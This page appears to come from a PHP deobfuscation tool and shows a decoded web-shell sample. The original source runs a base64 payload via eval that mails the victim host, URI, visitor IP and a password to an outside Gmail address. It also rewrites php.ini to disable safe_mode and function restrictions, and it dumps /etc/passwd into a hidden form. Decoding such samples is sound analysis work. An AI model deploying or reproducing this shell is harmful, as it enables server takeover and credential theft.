Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICA..
Decoded Output download
<b>Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<br></b>None<br>Safe Mode : $visitc = $_COOKIE["visits"];
if ($visitc == "") {
$visitc = 0;
$visitor = $_SERVER["REMOTE_ADDR"];
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$target = rawurldecode($web.$inj);
$sub = "Jokr_H4xor uploader http://$target by $visitor";
$body = "Bug: $target by $visitor - $auth_pass";
if (!empty($web)) { @mail("[email protected]",$sub,$body); }
}
else { $visitc ; }
@setcookie("visitz",$visitc);Did this file decode correctly?
Original Code
<?php
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJHN1YiAgID0gIkpva3JfSDR4b3IgdXBsb2FkZXIgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOwogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICRhdXRoX3Bhc3MiOwogIGlmICghZW1wdHkoJHdlYikpIHsgQG1haWwoIm9rYnllMTIzNUBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9Cn0KZWxzZSB7ICR2aXNpdGMgIDsgfQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval(base64_decode($injbuff));
echo '<b>' . php_uname() . '<br></b>';
echo $_SERVER['SERVER_SOFTWARE'];
echo '<br>Safe Mode : ';
$safe_mode = ini_get('safe_mode');
if ($safe_mode == '1') {
echo '<font color="red">ON</font>';
} else {
echo '<font color="green">OFF</font>';
}
echo '<br>';
echo '</font>';
$fp = fopen("php.ini", "w+");
fwrite($fp, "safe_mode = OFF
Safe_mode_gid = OFF
disable_functions = NONE
disable_classes = NONE
open_basedir = OFF
suhosin.executor.func.blacklist = NONE ");
fclose($fp);
if (empty($_POST['config'])) { ?><form method="POST"><textarea name="passwd" style="display:none;" class='area' rows='25' cols='80'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" value=" Click to make Symlink" type="submit"><br></form></center><br><?php
}Function Calls
| ini_get | 1 |
| php_uname | 1 |
| base64_decode | 1 |
Stats
| MD5 | ef60780370174dc9674527ca2fddd9eb |
| Eval Count | 1 |
| Decode Time | 169 ms |